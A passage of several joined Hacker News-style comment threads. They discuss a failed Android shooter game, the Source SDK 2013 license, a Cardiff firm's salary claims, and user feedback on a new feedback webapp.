\- There's a slowly descending purple-and-black background and a lot of green rain. Oh, look, there are some flyspecks at the top of columns of rain. I put my finger on the screen, and a new column of rain starts falling upward. Oh! It's a shooter, and if I'm shooting up, then the rain must be... whoops, I'm dead.

Flyspecks? Yeah, it looks like you don't bother detecting screen density and changing the graphics accordingly. I can't see anything interesting on a 300dpi screen.

There's nothing to suggest that the gameplay is innovative, or surprising. Does it get better later? Or even different?

<comment><USER3> I agree. This game is not that good. Its failure might have something to do with Google Play store users being stingy but I think mostly it's because the game is not that good.

</comment></comment><comment><USER4> Personally, I view The side-scrolling space shooter genre as a niche market. People who enjoy and seek out S^4 games are looking for either a 'bullet hell' game like Ikaruga(1) or a nostalgic game like R-type(2). Side-scrollers are great game design practice, but the market is full of very discerning customers that would much rather pay 5$ for an emulator than buy an unpolished, depth-less, programming experiment.

I do not say this to bash the game. I have a list of android apps I hope to program, and a side-scroller is halfway down that list. At the top of that list is a tip calculator. It would be foolish to charge 10 cents for a tip calculator. I would be even more foolish to draw broad conclusions from the very small number of sales. But the most foolish thing I could do is call it quits before I get to the apps in my list that don't exist in the market in a dozen variations.

(1) <http://youtu.be/EGNSdcy-apU?t=2m30s>

(2) [https://play.google.com/store/apps/details?id=com.dotemu.rty...](https://play.google.com/store/apps/details?id=com.dotemu.rtype)

</comment><comment><USER5> Like dsr_, I had never seen this game before, and he is totally right saying that your lack of promotion is a mistake. I just tried it, and I spent nearly 15 minutes shooting the bad guys. I believe it has a bit of potential.

You should give it a try with a real promotional effort, bigger objects (I can barely distinguish enemies on my screen (KDDI pantech is06 for info)), and an ad-supported model. Even though this may not be the next angry birds, you can definitely get away with more than 16euro if you promote your game correctly.

</comment><comment><USER6> "It's difficult to make money on Google Play with normal, sold apps."

What I'm missing in this article is the part where he published the same game on a different app store and made good money.

Without that part, the complaint is not very convincing. There are many reasons why a product can be a commercial failure. Most products are.

</comment><comment><USER7> I believe it was patio11 who observed that it's incredibly hard to make money with paid games, and this is a perfect example. Your game has potential, but it's lacking in polish and this is your competition: [https://play.google.com/store/apps/details?id=net.int13.shog...](https://play.google.com/store/apps/details?id=net.int13.shogun)

<comment><USER8> The competition has less than 5000 installs. It's super hard to make money on Android with paid apps.

</comment></comment><comment><USER9> I don't know if you have tried this, but I did with my app, that I release 4 weeks ago:

Show the user a dialog after 3 days of use (I additionally make sure that the app has been opened at least 5 times) asking him or her to review your app on google play if he enjoyed using it and you will upgrade his app to the pro version for free.

You can't check if the user actually reviewed your app, or if the user gave it a good or a bad review, but I had good experiences with that. That's a simple mechanic that will get you some nice reviews, because a user that regularly uses your app after 3 days probably wont hate your app. :-)

You can easily compare the result of this by checking this link to my app:

<https://play.google.com/store/apps/details?id=com.flipster>

We are both in the same category of downloads (between 1k and 5k - I currently have 1,7k downloads) and its 47 reviews vs 8.

<comment><USER10> I really like this idea. I've downloaded plenty of apps that pop up a dialog asking you to review them. I've always found the pop up to be fairly pesky, but I think I would change my mind if it offered the better version for doing so.

</comment></comment><comment><USER11> Totally irrelevant, but your blog is revealing email addresses of commenters. Do you really want that?

</comment><comment><USER12> Some of the more successful indie games tend to market well before release in order to stir up interest in the game. Would Minecraft have been as successful if Notch just kept quiet and released a paid copy instead of releasing an alpha after a few days of development so everyone could talk about this new cool new sandbox game being developed? Probably not.

Given the ease at which you can post information on the internet these days, this should be a no-brainer for any modern developer.

</comment><comment><USER13> Have you been considering replacing the paid version of your app with a free version but supported with ads? This model looks more profitable on Android Market.

<comment><AUTHOR> Yes, thought about that. But then I took a look at how much you get paid though ads and decided that it's not worth it. You need a really, really quite big amount of users for getting money out of ads, and the game isn't the type of blockbuster game it would need to be for this.

<comment><USER14> Not a Blockbuster game? What did you expect? You're game does not offer something unique to the genre. There's a lot competition to your game and many of the other games are better executed. Maybe you should hire someone to do the graphics for you, especially the explosion.

</comment></comment></comment><comment><USER15> I think the comments in the article are really telling. If there is one lesson the author should take away from the experience it is this: BUILD A NARRATIVE. If you passed High School English you have enough tools to do so, therefore, there is really no excuse except laziness.

</comment><comment><USER16> Do anyone else have some feedback on this article? I wonder if it's really this difficult to make money with android...

<comment><USER17> Without trying to sound too harsh, and apologies to the developer it does, this seems to be a case of "Launch mediocre game with no marketing to Google Play and make no money." I'm not really sure what he was expecting.

I suggest:

1\. Use this as a learning experience for how the Google Play store works.

2\. Find an artist to work with (this looks like programmer art).

3\. Develop a game that innovates on the genre you wish to work in.

4\. Try again, and keep trying.</comment></comment>


Source SDK 2013 - <AUTHOR> https://github.com/ValveSoftware/source-sdk-2013 <comment><USER2> Guys, stop pissing your pants, this is not the Source engine. It's just a damn SDK for modders. Lots of comments seem to imply the former, which is not the case.

You can't do anything with this code without Source.

<comment><USER3> To expand, this SDK mostly only builds a few DLLs which allow mods to override various parts of the game logic. It doesn't include the source for the main hl2.exe, for example.

This is how all mods have been built for Valve games dating back to the original Half-Life.

</comment></comment><comment><USER4> I give it four hours until someone decides they aren't satisfied and starts bitching that it wasn't released under the GPL

<comment><USER5> The actual problem is that the license they are using is neither a valid free software license nor a valid open source license. The GPL would honestly be their best option if they wished to build a bigger community around Source engine modding, but I doubt that will ever happen.

<comment><USER6> No, it would not be, as the GPL would eliminate the core sentence of their current license:

> You may, free of charge, download and use the SDK to develop a modified > Valve game running on the Source engine. You may distribute your modified > Valve game in source and object code form, but only for free.

This would be prohibited by the GPL, as it eliminates fundamental freedoms (the right to sell the product).

This sentence is (obviously) very important to Valves ecosystem.

<comment><USER7> The GPL does not eliminate the right to sell the product.

[http://www.gnu.org/philosophy/selling.html.en](http://www.gnu.org/philosophy/selling.html.en)

<comment><USER8> This is what the parent wrote.

Edit: "it" refers to the Valve License (AIUI)

<comment><USER7> You're right, I've misread it the first time.

</comment></comment></comment></comment></comment></comment><comment><USER9> #define JEEP_SEAGULL_POOP_INTERVAL 45.0 // Interval between checks for seagull poopage

yes

</comment><comment><USER10> This is an amazing step forward for the Open Source community, good on you Valve, you've proven you're in it for the long run.

<comment><USER11> This code is not open source.

<comment><USER12> [http://opensource.org/docs/osd](http://opensource.org/docs/osd) It seems to satisfy 1-7

<comment><USER11> From point 1 of the OSD

        1. Free Redistribution

        The license shall not restrict any party from selling or giving away the
        software as a component of an aggregate software distribution containing
        programs from several different sources. The license shall not require a
        royalty or other fee for such sale.

From the source SDK license

        You may distribute your modified Valve game in source and object code
        form, but only for free.

it is clearly not open source software.

</comment></comment></comment></comment><comment><USER13> It would be nice that README would hold more information than the license. Maybe link to this [https://developer.valvesoftware.com/wiki/SDK2013_GettingStar...](https://developer.valvesoftware.com/wiki/SDK2013_GettingStarted) if the wiki is a better place to hold the information.

</comment><comment><USER14> Press Release: [http://store.steampowered.com/news/10962/](http://store.steampowered.com/news/10962/)

> We have released an update to the Source SDK, bringing support for Mac OS X > and Linux to mod developers and exposing the ability for virtual reality > support in your mod.

</comment><comment><USER15> Looks like some of the SSE work in the mathlib directory is unimplemented or unverified in POSIX environments, or else implemented only in C. Not sure how crucial or not that would be in the big picture of things though.

I'm sure it'd be fun to play with, but the license makes it a non-starter for any serious work.

</comment><comment><USER16> [https://github.com/ValveSoftware/source- sdk-2013/blob/master...](https://github.com/ValveSoftware/source- sdk-2013/blob/master/sp/src/game/client/vgui_video.cpp#L74)

This seems to be some HL2EP1 specific stuff in there X'D

</comment><comment><USER17> This new release seems to have support for Linux and OS X, which is a new addition to the Source SDK. Previously you've only been able to use mods on Windows. This might be enough to get me back into modding for a bit.

</comment><comment><USER18> Can I use it withought any steam game?

<comment><USER11> From the license:

        You may, free of charge, download and use the SDK to develop a modified
        Valve game running on the Source engine.

It seems using it to modify a Valve game running on the Source engine is all hard requirement, which in turn requires Steam.

</comment></comment><comment><USER9> now to patiently wait for viva64 guy to do a src code review.

<comment><USER19> This isn't a game engine or a game; It's just the SDK for modders.

</comment></comment><comment><USER20> And this, gentlemen, is why you always read the fucking license.

Awful.

<comment><USER21> Would you be able to tell us why you believe the license is bad? Just wondering...

</comment></comment><comment> tech-dragon This is great. Now we are free to help remove dependencies, improve this engine and in the long run hopefully help Valve take further steps into being a more Open Company , I hope that Valve change the license once they are in a position to do so. They are in a staggeringly odd turn of events starting to 'Open Up ' and working within the view of the outside public on a number of high profile software projects. They are making good moves, I for one intend to encourage them to make more by helping! Pull requests to help them will make them realize they will gain more if the engine is even more open, its a matter of time.

And specifically to the people complaining about the license file [https://github.com/ValveSoftware/source- sdk-2013/blob/master...](https://github.com/ValveSoftware/source- sdk-2013/blob/master/LICENSE) . The likely reason that it cannot at this time be changed will probably be the legal agreements Valve has signed regarding the stuff you will read if you open up one of the other files up in the root of the repo thirdpartylegalnotices.txt [https://github.com/ValveSoftware/source- sdk-2013/blob/master...](https://github.com/ValveSoftware/source- sdk-2013/blob/master/thirdpartylegalnotices.txt)

Edit--- It looks like people are already hacking away and fixing stuff! [https://github.com/AnAkIn1/source- sdk-2013/commit/fe2fa2204b...](https://github.com/AnAkIn1/source- sdk-2013/commit/fe2fa2204be07fc35e69a63b587e8c0395548e60)

<comment><USER2> Open company? What the...?

This is just an SDK. It's for their own convenience! You make mods for their closed source Source engine (see what I did there?) and they earn tons of money and Steam users.

What's Open about that? How are you going to remove the Source dependency?

Game companies have been releasing SDKs since what feels like forever.

I love Valve's games, but you have to give credit where it's due.</comment></comment>


Cardiff tech firm: 'We'll pay £100k, but can't get staff' - happy-go-lucky https://www.bbc.com/news/uk-wales-45891002 <comment><AUTHOR> So, has MyPinPad actually tried raising their salary offering to £100k? I find it very hard to believe they have, because that would be well-above the average for the area. In relation to standard Web Developer roles, it'd be over double what I could expect in Cardiff for a mid-to-senior level role.

Their website currently says "up to £60k", and in my experience companies that say "up to" will rarely go to that number unless the candidate is very/over qualified, in which case that candidate has zero potential for growth and will have a hard time getting an annual raise unless things go brilliantly.

MyPinPad look like a reasonably large company, so their salary offering right now is probably average or above, but the article itself is absolute crap. If MyPinPad were to offer £100k for their Services Developer role I'd beat their door down for an interview. It's double what I'm getting in Bristol right now, I have C# and non-CLR expeirence, and the commute would be worth it. Hell, for that money I could drive in, pay an obscene amount for parking and still be ahead!

I don't buy for a second that they have failed to get devs in when offering £100k. Either they're full of shit, or they are terrible at advertising roles.

<comment><USER2> Right. 100k probably included their end of National Insurance, recruiter fees and all that hidden costs that don't end up in a persons final compensation.

<comment><AUTHOR> That's what I initially thought, but even with my rough estimates of around £8500 in NI from the employer, and around £9-10,000 in recruitment fees (assuming roughly 15% of the first year salary, which is already pretty high) - with all of this rounded up to roughly £20k, that's still a full £20k short of what the article says if they were to hire someone for the maximum £60k a year.

The easy argument is that they're full of shit. My guess is that the only way they can attract people to Cardiff is to raise salaries, but even £60k (which is a good salary for Cardiff) isn't enough to stop people from chasing the big bucks in London. They don't want to pay more than £60k, so their alternative is to complain that salaries aren't enough and that the problem is out of their control.

</comment></comment></comment><comment><USER3> Onboarding and dividing work between 100 engineers is hard. Makes me think of Brooks' law: " _Adding human resources to a late software project makes it later_." [0]

MyPinPad's careers page [1] lists four positions (Android developer, iOS developer, senior devops engineer, and services developer) with the same " _salary up to £60,000 per annum, depending on experience_ " for each position. The higher salary makes for a good news article (and a good advertisement for their recruiting team), but I wonder if they could increase their application rate by showing the same salary as the one they advertised in the article.

[0]: [https://en.wikipedia.org/wiki/Brooks%27s_law](https://en.wikipedia.org/wiki/Brooks%27s_law)

[1]: [https://www.mypinpad.com/careers/](https://www.mypinpad.com/careers/)

<comment><USER4> Brooks' Law: "nine women can't make a baby in one month."

<comment><USER5> When firing duds, no women will ever get pregnant!

</comment></comment></comment><comment><USER6> In the article they say they are offering London salaries. Fine. But _Cardiff is not the same as London_!

London is _huge_ comapred to Cardiff. Cardiff has about 500,000 people in its urban area compared to 10,000,000 in London, and Cardiff is about 30 square miles compared to almost 700 square miles for London [1]. As such London just has a lot more going on - theatre, museums, nightlife, restaurants, sports, shopping, meet-ups, career-possibilities, transport, galleries... you name it there is more of it in London, and its also generally all very good or even world-class quality. Sure Cardiff has some stuff going on and has its own cultural & social activities, but it is in no way even in the same league as London by any stretch.

As a result you're not going to lure someone to Cardiff by just matching London salaries - who would give up London to go to Cardiff to get the same salary but a culturally and socially moribund (by comparison) experience? You have to offer them something above and beyond. Not everyone likes hiking & nature, and I'd wager that most people in these salary ranges aren't that badly impacted by high property prices in London.

Perhaps offer salaries that are _more_ than London and then see if the applications start rolling in?

1 - [https://en.wikipedia.org/wiki/Cardiff](https://en.wikipedia.org/wiki/Cardiff) & [https://en.wikipedia.org/wiki/London](https://en.wikipedia.org/wiki/London)

<comment><USER7> You're projecting your own perception onto others.

Let me raise a counterpoint, the cost of living in Cardiff is vastly less than the, frankly, over inflated prices in London.

I'm going to reuse your tone here - who would give up Cardiff to go to London to get the same Salary but pay twice as much for rent?

I'd raise another point as well - you're assuming people prefer the art and culture scene in London in comparison to a more local scene in a smaller city where gentrification isn't as ubiquitious. I'd rather live in Glasgow, where anyone can afford to go to a club or gig than London, where such activities are generally reserved for rich kids.

<comment><USER6> You're totally correct - its not for everyone (just like Cardiff is not for everyone). London is a big city and comes with big city problems.

However, I'd still argue that their offer is clearly not competitive by matching London salaries since they are not getting applicants.

For what it is worth, in my personal opinion if you are renting on 100K a year, you're Doing It Wrong. I appreciate some people value the flexibility of renting though. Saving up for a mortgage deposit with £100K a year salary and equity grants etc should be no problems, and mortgage repayments are usually either equal or substantially lower than rental rates for equivalent properties. Even in London, a commute of just 25 minutes from central London [2] you can buy a one bed flat for 250-300K which is very affordable on a 100K a year salary. [1]

1 - [https://www.rightmove.co.uk/property-for- sale/find.html?loca...](https://www.rightmove.co.uk/property-for- sale/find.html?locationIdentifier=STATION%5E3506&minBedrooms=1&radius=1.0&sortType=1&propertyTypes=flat&primaryDisplayPropertyType=flats&includeSSTC=false&dontShow=retirement)

2 - [https://www.google.com/maps/dir/Finchley+Central+Station/Tra...](https://www.google.com/maps/dir/Finchley+Central+Station/Trafalgar+Square,+Trafalgar+Square,+firstname.lastname@example.com,-0.2291448,12z/data=!3m1!4b1!4m14!4m13!1m5!1m1!1s0x48761754f03c34dd:0x9509ee771db17ec6!2m2!1d-0.1924272!2d51.60105!1m5!1m1!1s0x487604ce3941eb1f:0x1a5342fdf089c627!2m2!1d-0.128069!2d51.508039!3e3)

<comment><USER8> .. or for 250k you could get a four bedroom detached house in Cardiff: [https://www.rightmove.co.uk/property-for- sale/property-69624...](https://www.rightmove.co.uk/property-for- sale/property-69624086.html)

</comment></comment></comment></comment><comment><USER9> Their career page says 60k, though.

If it weren't out of area of expertise, Wales is quite beautiful. And I almost understand Rhod Gilbert.

<comment><USER10> I wouldn't be able to stop myself from saying "way-als" in a mocking accent. Just like how I can't stop myself saying "moo-ney" when I hear it from a Dubliner.

</comment></comment><comment><USER11> If you are laid off in London your next job will be in London and you don't have to move house. If you are laid off in Cardiff the next job is in Bristol, Birmingham or Milton Keynes. Property prices don't figure into the equation so much because no one is going to buy in a town where the tech scene is small.

</comment><comment><USER12> Up to 60k p/a[0] for a Senior DevOps engineer is not exactly London wages when the exact same job can start at or above 80k. [1]

Have they also thought that not every engineer lives in (or wants to move to) Cardiff?

What is their remote working policy? Do they even have one?

[0]: [https://www.mypinpad.com/careers/](https://www.mypinpad.com/careers/)

[1]: [https://www.cwjobs.co.uk/jobs/permanent/senior-devops- engine...](https://www.cwjobs.co.uk/jobs/permanent/senior-devops-engineer/in- london?Sort=4)

</comment><comment><USER13> _MyPinPad needs 100 software engineers in Cardiff to roll out a new product_

Roll it out, or actually get it written? What kind of product needs 100 _additional_ engineers to launch?

<comment><USER14> They just raised £15 million in series B, enough to pay those 100 engineers £100k each for... 1.5 years, assuming zero overhead and no other expenses?

Edit: also assuming no revenue, so I don't know. Is that normal startup math?

Double edit: Crunchbase revenue estimate is $20.9M.

<comment><USER15> Also assuming zero additional revenue.

<comment><USER14> Right, thank you.

</comment></comment></comment></comment><comment><USER16> Can't get staff? What a shame. Would you consider starting some kind of training policy?

<comment><USER17> I wonder if training works for developers.

I've never seen any company offering developer training, so i assumed training developers doesn't work.

<comment><USER18> If there's a junior in the job title, it means they train developers.

</comment></comment></comment><comment><USER19> Bad Title. Actual article says "up to 100k", as in maximum. I assume most people don't get that offer.

<comment><AUTHOR> Their job posts say "up to 60k", so it's not just a bad title. It's a blatant lie.

The main question, for me, is what point the article is trying to prove. The cynic in me believes that it's an effort to drive down permanent developer salaries by saying "we already tried to offer above market rates and it didn't work, so we're bringing them down again".

From a .NET perspective, I think you'd be lucky to get £100k a year in a contract role, let alone as a permanent employee. With that said, if you want to earn more than £50k in the south west, your only choice is large multinational company (which are mostly in London), management, or contracting.

</comment></comment><comment><USER20> So.... pay more then. Does the city say "we'll pay 100k but can't get quants"? Or do they pay market rate?

If they can't pay more, perhaps other people have found ways to make more profitable use of their engineers' time, in which case their business is not viable.

</comment><comment><USER21> This reads like an advertorial. Does the BBC have some interest in getting tech workers to Wales?

<comment><USER22> No, the BBC has an anti-Brexit agenda.

<comment><USER23> That's a ludicrous statement. Do you have any evidence whatsoever to back it up?

<comment><USER22> Evidence you'd accept, probably not, although you can simply observe the kinds of stories they choose to promote and arrive at a reasonable conclusion.

<comment><USER23> In other words, no.

Since the BBC is routinely and equally criticised for being both pro- and anti-Brexit, it's reasonable to assume that it's more likely to be neither.

<comment><USER22> OK, you have no evidence either so let's accept it's a point of opinion?

</comment></comment></comment></comment></comment></comment><comment><USER24> I see articles like this and they always seem to overlook the solution: hire remotely. Oh sure, it isn't what they want and yes it introduces complexity they might not want, but it is the answer. People want to live where they want to live. Some might be lured by more money. Some will recognize that there are clusters of jobs in certain urban areas and be unwilling to move to other locations as a result. Not in one of those prime tech clusters? Just accept that you need to hire where the people are, not where you want them to be. Furthermore, there's an irony of tech firms making money over the internet, but believing all their staff must be physically located together.

</comment><comment><USER25> Maybe you should allow remote work?

</comment><comment><USER26> As a tech worker who started close to Cardiff i've slowly moved down the M4 as my career has progressed. Jobs over 60k are rare outside of London - > Bristol and all towns in between.

</comment><comment><USER27> Engineers willing to move for their job would normally move to silicon valley and get offered $150k, and _much_ lower taxes.

Even at £100k (and ~45% tax!), you're only going to get people who either already live in Cardiff, or are happy to relocate to Wales, but not to relocate to the USA (not all that many people).

</comment><comment><USER28> I am continually amazed at the cynical attempt by hiring managers to try to pretend that the laws of supply and demand shouldn't apply to non-exec level staff. If you can't hire the people you want for what you're offering that should be a signal to pay more, not to whine that you can't force your idea of a reasonable wage on others.

<comment><USER23> So while there is validity to this, my experience hiring staff is that there is genuinely a lack of skilled tech workers in the UK, especially at senior levels - it's not just down to salary requirements.

Sure - as demand goes up and supply is constrained, salaries have to rise. But it's more complex than that - first, salary increases don't magically increase supply. There's a long lag time between salary rises and increased supply. On top of that, there's a particular dearth of senior engineers. It's easier to recruit people with less experience, and there's nothing wrong with doing that and training them up - but this in itself takes quite a lot of investment and can be difficult in a small team. And third, the UK's shitty immigration process and ongoing Brexit catastrophe make it more difficult to recruit developers from other countries.

At some point, it becomes economically infeasible to run a functioning business as the staff you need become more expensive to hire. It's good for people in that market, but it can also make it difficult to run a sustainable small business, and it's okay to call attention to that. Like most things, it's a bit of a balancing act.

<comment><USER28> I'm not sure I find this convincing. There are lots and lots of skilled tech workers in the UK that want permanent roles, but the really good ones already have well paid jobs, usually either for the finance sector or with Google/Facebook/etc. £100k to relocate to Cardiff isn't even slightly tempting to these people (source: I'm one of them).

For many years the UK has had very low tech salaries compared to similar locations, and compared to other similarly skilled jobs[0][1]. As demand for good tech staff rises this is starting to equalise. This is a trend that's unlikely to reverse, and IMO this is a good thing.

I appreciate that if you're trying to run a small business it's frustrating that you can't get the staff you want at the price you want to pay, but the solution isn't to hope that people will work for less you make you richer. You'll need to either adjust your budget, your expectations, or offer something that their current job doesn't give them (share of the business (with the same liquidation prefs that you have), or 100% remote, or something else along these lines). If you really can't do any of those things, then maybe your business just can't afford what you want and you'll need to hire more junior people and train them up.

I've been on both sides of this fence, lots, and I've never once felt there was a shortage of good tech people in the UK, or found it hard to find smart candidates, it's just that the good ones expect to get paid well for the skills they have spent many years honing.

0: e.g. in Zurich finance and tech are compensated similarly, in London finance gets significantly more (sources: [https://www.payscale.com/research/CH/Location=Zurich/Salary](https://www.payscale.com/research/CH/Location=Zurich/Salary) [https://www.cwjobs.co.uk/salary-checker/average-financial- sa...](https://www.cwjobs.co.uk/salary-checker/average-financial-salary-city- london) [https://www.cwjobs.co.uk/salary-checker/average-software- eng...](https://www.cwjobs.co.uk/salary-checker/average-software-engineer- salary)) 1: [http://www.p2pfinancenews.co.uk/2018/02/08/london-tech- salar...](http://www.p2pfinancenews.co.uk/2018/02/08/london-tech-salaries/)

<comment><USER23> _For many years the UK has had very low tech salaries compared to similar locations, and compared to other similarly skilled jobs_

Hang on, I think that's a bit off – you're comparing the UK average with the Zurich average. If you compare the London finance sector wage with software, the latter is higher: [https://www.cwjobs.co.uk/salary-checker/average- software-eng...](https://www.cwjobs.co.uk/salary-checker/average-software- engineer-salary-london)

I get that the solution isn't to underpay as a business, but it does seem reasonable to look at ways to get more people into the industry, if the situation is at a point where it's not economically feasible to run businesses because of the cost of staff. We do the same with workers in other sectors, after all.

<comment><USER28> Okay, my other link turned out not to be London-specific, sorry about that, so by that metric it now looks like they're on a par, which is good news, as they didn't use to be, by my recollection.

Certainly the comparative salary for the same tech-related position in London vs places like Zurich, NY, SF, etc seems lower, but I don't have data to support that which I can publicly share, so I guess I can't prove that point.

I'd suggest that if you feel there aren't enough people even at very junior levels, then maybe there's a problem and we should look at why not enough people are in the industry. If there are plenty of junior or poorly skilled people but not enough highly skilled people, then it's more likely that you aren't paying enough (or aren't advertising in the right ways to find them). My perception is that it's the latter, but I don't really have anything beyond my own experience to support that.</comment></comment></comment></comment></comment>


Neural Network Trained on Donald Trump Transcripts (Twitter Acct) - <AUTHOR> https://twitter.com/DeepDrumpf <comment><USER2> Now use the speeches of Hitler, compare the similarities, and calculate the accuracy of mr Sam's belief.</comment>


Forget web2.0- Where is your 3.0 startup? - <AUTHOR> http://www.scribd.com/doc/25925/FORGET-WEB20WHERE-ARE-THE-30-STARTUPS <comment><USER2> Why on earth did you put that on scribd when a normal blog post would do? Now I just have a hard time reading the poorly rendered text...</comment>


Ask HN: Review my startup - UsrJoy - <AUTHOR>

Hi! I would really appreciate any feedback on the webapp I just released. I started with it a while back. I was using a well known solution for feedback then, but one day realized it's not really focused on feedback, but providing a community/forum area behind my service. That is a valid focus and I know companies that want exactly that, but what I wanted really was the app optimised on getting me the feedback from my users.
http://www.usrjoy.com
Any feedback, especially critical is more than welcome! I am interested in feedback on app itself and also on the frontend/message that I (try to) make.
The service is in public Beta now. It has a number of beta users for few months already, so it's tested in the wild to some degree. But we are actively improving it and making it more robust each day. <comment><USER2> I've actually been looking for a good feedback solution for a while. I like the look of the app a lot, and I'll try it out in the wild soon. The one thing I find weird about it is "Just $12 / month or less". Normally apps give price floors, not ceilings. Was there any reason for this?

Also, who is your target audience here, nationally speaking? I saw "$12,00" on the signup page. If this is aimed toward US customers, it should be $12.00, not $12,00.

<comment><AUTHOR> The price is USD yes so it should be 12.00 . Thanks for reminding me :). Fixed now.

If you try it be sure to tell me if something bothers you. If then this post is outdated you can also email me at janko DOT itm AT gmail.

I had price floors at the other already released app, but changed it to ceilings because I always felt bad, like I micro-cheat them right there at the front page. By telling them the cheapest price, but then they see the "default" price per month is actually higher and only if they pay for multiple months they get that price.

<comment><USER2> I really admire the thought behind that, but I think it will just confuse people. People are used to seeing discounts when buying in bulk. From a psychological perspective, people see that as "buy more = pay less". This way, to some people at least, it looks like "I'm getting penalized for not committing to this for longer".

<comment><AUTHOR> I will think about it. Maybe I will just say price is $12 and remove "and less" and keep the prices the same. To remove the confusing part.

</comment></comment></comment></comment><comment><USER3> Looks great -- a couple of points.

I agree the front page is too busy. I think the screenshot is somewhat confusing -- am I looking at the customer facing website or the backend.

The videos being hosted on blogspot falls foul of our over zealous filtering at the office.

Can you configure the 'any feedback' tab to be at the side - it took me a minute to notice it at the bottom.

When clicking on 'urgent' I think there should be more visual feedback than just turning the border red, maybe reflect it in the send button.

The wording 'send away' sounds wrong to me -- too much like 'dismiss'. Just 'send' would be better.

<comment><AUTHOR> Thanks, Great points.. I will think how to best implement / solve them!

</comment></comment><comment><USER4> This looks really nice, the drag & drop interface is gorgeous. I see a few rough edges (as others have already pointed out), but with a bit of polish I could see you taking a good bite out of uservoice and getsatisfaction.

<comment><AUTHOR> I release stuff really early usually and then iterate with usage and users feedback. I agree there are rough edges and there are also open ends, which will get closed or built-upon while we gain more knowledge about what's needed. Thanks!

</comment></comment><comment><USER5> The pricing seems to be causing a little confusion. How about making it easier and putting a nice big "Start your free trial today" button? Once you have people clicking that button, you can upsell, or upsell down the road once they've adopted the service.

I also think you are making a big mistake by not doing the recurring billing! I have a gym membership that I've used probably 30 or 40 times in 10 years! Stupid, right? They bill me every month and I accept it. In the past, I've used LivePerson for web interaction and we got to a point where we barely used it - but kept the service going because...well...automated billing. Anyway, paying customers are hard to get, so once you have them, it makes sense to try to keep them. I'm not saying to make it difficult for them to cancel. Some may even prefer to have automated billing so they don't have to keep being proactive about paying. Just my thoughts.

Your call to action is too low on the screen - it needs to be in the main view area w/o requiring me to scroll down to see it. Maybe a good place for it would be where the post-it testimonial currently is located. Then, consolidate some of that other stuff into a div that shuffles through different items (testimonials, videos, etc...).

Why is this valuable to me? (it's a question I want answered when I visit your page).

Great job though...congrats on getting something out there. I think the overall look and feel is very nice. With some copy help and a few rearranging of items I think you've got a great thing going for you.

</comment><comment><USER6> Clickable: <http://www.usrjoy.com>

</comment><comment><USER7> This looks awesome!

However: please get a native English speaker to read through your text and suggest improvements. There are already a number of things you should change listed in the comments here, but I've noticed a bunch of typos and grammatical quirks which probably shouldn't be there. Text is important, and it'll make your service seem a great deal more professional.

<comment><AUTHOR> Thanks!

I was aware I will need a proffreader to go through texts, but I wasn't aware it's so obvious and noticeable. I will try to find someone ASAP. Thanks for heads up!

<comment><USER2> Shoot me an email (in profile) with a list of pages to proof read. I'm not a content writer, but I can probably find and big errors. I'd be happy to help out with that if you'd like.

<comment><AUTHOR> Thanks for your generous offer! I will contact you today once this settles down a little. It's very kind of you but I don't just want to "send you a list". I am not loaded with money but I believe there must be some form of compensation. Thanks again!

</comment></comment></comment></comment><comment><USER8> I'm sorry to say that and also sorry for the careless wording but I'm rather unimpressed by the demonstration video.

Drag-and-dropping tags to items seems rather unnatural and we can see messages in Slovenian.

I couldn't see clearly if it was even possible to get the whole conversation for a message which is IMO quite necessary.

Is it possible to see all the conversation items received using a given email address?

Do you provide any Dashboard or statistics of any sort?

More generally, I'm wondering what is your solution's selling point over a simple email client? Honestly, if this was what I want, I would simply write a form by myself and have a script send plain old emails to email@example.com and not pay 12$ or less :)

Technically, how secure is your service? Do you provide HTTPS? Is there an API? Data export of any sort?

<comment><AUTHOR> 1) Don't worry for careless wording :)

2) Drag-and-drop might not be good mechanics for everyone and I am aware of that. I am otherwise always in favour of lowest/simplest interface decisions (and in 90% cases I saw I didn't like drag-and-drop usage), but it seemed the most natural thing to this specific usage to me (basically connecting many to many items). But as I said, I am aware some will hate it.

Well I am from Slovenia and my browser is in my language so "File Open" form is in Slovene language yes. I see that this might look odd on video but at this point I am more trying to get the message across (what it's about / how it works) than to impress / sell it so someone, so I don't care.

3) What do you mean by whole conversation?

4) No. And there is a lot of things on the same level that are not there yet. Something I call "filters" (and is quite needed) is in the making but is not yet done because I haven't yet found good answers to some questions for example.

5) Not at this point.

6) Yes, you could write your own solution of course. You can probably see some differences compared to sending feedback directly to email. Sending it to email has some benefits too compared to this, but in general we can do much more with it. Some of these things can already be seen, some will become more apparent when usrjoy gets also the less core functionalities.

7) There is no HTTPS there right now. This is first public beta release. There will be. For comparison in our other service that is more mature we have HTTPS, API and Data Export and we intend to do the same here. I am strong believer that user's data is hi/she-s own.

Thanks for your questions. I asked for critical feedback and I got it :)

<comment><USER9> The drag and drop delete both unnecessary and the reverse of what someone would intuitively do. A simple button/link per item makes far more sense.

<comment><AUTHOR> yes. This is one dilema I had. In fact two. You usually drag items to trashbin. And if you are deleting 1 item one click is more optimal. (you can here more optimally and consistently with other tools/.. delete >1 items however)

The first dillema is 95% decided. Because we value consistent interface more (there will be other tools). The second is currently not there for the sake of less duplication and cleaner interface, but because delete is the most common "tool" we might add it to the feedback items so you can delete with one click.

</comment></comment></comment></comment><comment><USER10> Landing page has too much text. It's a simple concept that shouldn't need one line to explain. The product looks great, but the landing page can benefit from some good copy, starting with the headline. Something like, "Get great feedback and build a better business" may work better.

<comment><AUTHOR> cool. I like this advice. When answer is less of something I know it's usually right. I also like the proposed headline :)

Thanks!

</comment></comment><comment><USER11> The "any feedback" tab's behavior is a little wonky. And (from what I can tell) that's the feature that paying customers will get, so better get it right!

-Having the "any feedback?" text get underlined on hover makes it feel like a normal hyperlink, not an ajaxy widget that pops up. Need to highlight/change/bounce/etc. the entire tab on hover, not just the text.

-Likewise, the tab should activate by clicking/hovering anywhere in the orange color tab area. Not just by clicking/hovering the text. Makes it much easier to hit, and again makes it clear that the thing is a tab/widget and not a simple text hyperlink.

<comment><AUTHOR> Hi, I have to admit I haven't thought of these two things by using it. But they do both make sense and if I imagine it working like that it feels much better. I will improve the behaviour. Thanks a lot! :) (a little ashamed that I didn't sense this at all)

</comment></comment><comment><USER12> "$12 or less" really is confusing. And there's no explanation? Why? Because it's free first 3 months or something like that?

<comment><AUTHOR> Because it's $12/month if you extend subscription for 1 month, 9/month if you extend for 6 months, and $8 if you extend for 12.

I didn't expect this to be confusing at all so thanks for telling me! I will think about it and improve.

